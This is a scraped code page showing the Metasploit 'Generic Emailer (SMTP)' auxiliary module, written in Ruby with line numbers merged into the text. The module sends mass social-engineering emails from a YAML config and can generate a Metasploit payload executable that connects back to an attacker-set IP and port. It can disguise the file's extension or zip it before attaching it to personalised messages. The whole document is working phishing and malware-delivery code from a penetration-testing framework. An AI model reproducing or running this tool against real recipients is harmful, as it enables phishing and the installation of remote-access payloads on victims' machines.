Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/client/smtp/emailer.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'yaml'67class MetasploitModule < Msf::Auxiliary89#10# This module sends email messages via smtp11#12include Msf::Exploit::Remote::SMTPDeliver13include Msf::Exploit::EXE1415def initialize(info = {})16super(update_info(info,17'Name' => 'Generic Emailer (SMTP)',18'Description' => %q{19This module can be used to automate email delivery.20This code is based on Joshua Abraham's email script for social21engineering.22},23'License' => MSF_LICENSE,24'References' =>25[26[ 'URL', 'http://spl0it.org/' ],27],28'Author' => [ 'et <et[at]metasploit.com>' ]))2930register_options(31[32OptString.new('RHOST', [true, "SMTP server address",'127.0.0.1']),33OptPort.new('RPORT', [true, "SMTP server port", 25]),34OptString.new('YAML_CONFIG', [true, "Full path to YAML Configuration file",35File.join(Msf::Config.data_directory,"emailer_config.yaml")]),36])3738# Hide this option from the user39deregister_options('MAILTO')40deregister_options('SUBJECT')41end4243def load_yaml_conf44opts = {}4546File.open(datastore['YAML_CONFIG'], "rb") do |f|47yamlconf = YAML::load(f)4849opts['to'] = yamlconf['to']50opts['from'] = yamlconf['from']51opts['subject'] = yamlconf['subject']52opts['type'] = yamlconf['type']53opts['msg_file'] = yamlconf['msg_file']54opts['wait'] = yamlconf['wait']55opts['add_name'] = yamlconf['add_name']56opts['sig'] = yamlconf['sig']57opts['sig_file'] = yamlconf['sig_file']58opts['attachment'] = yamlconf['attachment']59opts['attachment_file'] = yamlconf['attachment_file']60opts['attachment_file_type'] = yamlconf['attachment_file_type']61opts['attachment_file_name'] = yamlconf['attachment_file_name']6263### payload options ###64opts['make_payload'] = yamlconf['make_payload']65opts['zip_payload'] = yamlconf['zip_payload']66opts['msf_port'] = yamlconf['msf_port']67opts['msf_ip'] = yamlconf['msf_ip']68opts['msf_payload'] = yamlconf['msf_payload']69opts['msf_filename'] = yamlconf['msf_filename']70opts['msf_change_ext'] = yamlconf['msf_change_ext']71opts['msf_payload_ext'] = yamlconf['msf_payload_ext']72end7374opts75end7677def load_file(fname)78buf = ''79File.open(fname, 'rb') do |f|80buf = f.read81end8283buf84end8586def run8788yamlconf = load_yaml_conf8990fileto = yamlconf['to']91from = yamlconf['from']92subject = yamlconf['subject']93type = yamlconf['type']94msg_file = yamlconf['msg_file']95wait = yamlconf['wait']96add_name = yamlconf['add_name']97sig = yamlconf['sig']98sig_file = yamlconf['sig_file']99attachment = yamlconf['attachment']100attachment_file = yamlconf['attachment_file']101attachment_file_type = yamlconf['attachment_file_type']102attachment_file_name = yamlconf['attachment_file_name']103104make_payload = yamlconf['make_payload']105zip_payload = yamlconf['zip_payload']106msf_port = yamlconf['msf_port']107msf_ip = yamlconf['msf_ip']108msf_payload = yamlconf['msf_payload']109msf_filename = yamlconf['msf_filename']110msf_change_ext = yamlconf['msf_change_ext']111msf_payload_ext = yamlconf['msf_payload_ext']112113tmp = Dir.tmpdir114115datastore['MAILFROM'] = from116117msg = load_file(msg_file)118119if (type !~ /text/i and type !~ /text\/html/i)120print_error("YAML config: #{type}")121end122123if make_payload124attachment_file = File.join(tmp, msf_filename)125attachment_file_name = msf_filename126127print_status("Creating payload...")128mod = framework.payloads.create(msf_payload)129if (not mod)130print_error("Failed to create payload, #{msf_payload}")131return132end133134# By not passing an explicit encoder, we're asking the135# framework to pick one for us. In general this is the best136# way to encode.137buf = mod.generate_simple(138'Format' => 'raw',139'Options' => { "LHOST"=>msf_ip, "LPORT"=>msf_port }140)141exe = generate_payload_exe({142:code => buf,143:arch => mod.arch,144:platform => mod.platform145})146147print_status("Writing payload to #{attachment_file}")148File.open(attachment_file, "wb") do |f|149f.write(exe)150end151152if msf_change_ext153msf_payload_newext = attachment_file154msf_payload_newext = msf_payload_newext.sub(/\.\w+$/, ".#{msf_payload_ext}")155File.rename(attachment_file, msf_payload_newext)156attachment_file = msf_payload_newext157end158159if zip_payload160zip_file = attachment_file.sub(/\.\w+$/, '.zip')161print_status("Zipping payload to #{zip_file}")162File.write(zip_file, Msf::Util::EXE.to_zip([fname: File.basename(attachment_file), data: exe]), mode: 'wb')163attachment_file = zip_file164attachment_file_type = 'application/zip'165else166attachment_file_type = 'application/exe'167end168169end170171172File.open(fileto, 'rb').each do |l|173next if l !~ /\@/174175nem = l.split(',')176name = nem[0].split(' ')177fname = name[0]178lname = name[1]179email = nem[1].strip180181182if add_name183email_msg_body = "#{fname},\n\n#{msg}"184else185email_msg_body = msg186end187188if sig189data_sig = load_file(sig_file)190email_msg_body = "#{email_msg_body}\n#{data_sig}"191end192193print_status("Emailing #{name[0]} #{name[1]} at #{email}")194195mime_msg = Rex::MIME::Message.new196mime_msg.mime_defaults197198mime_msg.from = from199mime_msg.to = email200datastore['MAILTO'] = email.strip201mime_msg.subject = subject202203mime_msg.add_part(Rex::Text.encode_base64(email_msg_body, "\r\n"), type, "base64", "inline")204205if attachment206if attachment_file_name207data_attachment = load_file(attachment_file)208mime_msg.add_part(Rex::Text.encode_base64(data_attachment, "\r\n"), attachment_file_type, "base64", "attachment; filename=\"#{attachment_file_name}\"")209end210end211212send_message(mime_msg.to_s)213select(nil,nil,nil,wait)214end215216print_status("Email sent..")217end218end219220221